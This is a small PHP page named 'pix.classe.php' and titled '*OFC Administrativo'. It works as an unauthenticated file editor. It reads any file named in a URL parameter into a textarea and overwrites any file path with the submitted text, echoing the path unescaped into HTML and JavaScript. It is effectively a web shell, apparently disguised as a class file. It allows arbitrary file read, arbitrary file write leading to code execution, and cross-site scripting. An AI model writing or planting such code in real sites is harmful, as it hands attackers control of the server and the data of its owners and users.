
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>*OFC Administrativo</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/css/bootstrap.min.css">

  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/js/bootstrap.min.js"></script>
</head>

<body>
<p>&nbsp;</p>

  <?php
if(isset($_GET['arquivo'])!="") {
echo "<form action=\"pix.classe.php\" method=\"post\">
<input type=\"hidden\" name=\"arquivo\" value=\"".$_GET['arquivo']."\">
<textarea cols=\"300\" rows=\"10\" name=\"textarea\" class=\"form-control\">";
readfile($_GET['arquivo']);
echo "</textarea>
<input type=\"submit\" name=\"salvar\" value=\"Aplicar Alteracoes.\" class=\"btn btn-primary btn-block\">
</form>";
}

if(isset($_POST['salvar'])) {
$fp=fopen($_POST['arquivo'], "w");
fputs($fp, $_POST['textarea']);
fclose($fp);
echo "<script>
alert('".$_POST['arquivo']." foi alterado com sucesso.');
location.href='pix.classe.php?arquivo=".$_POST['arquivo']."';
</script>";
}
?>
 
</body>
</html>
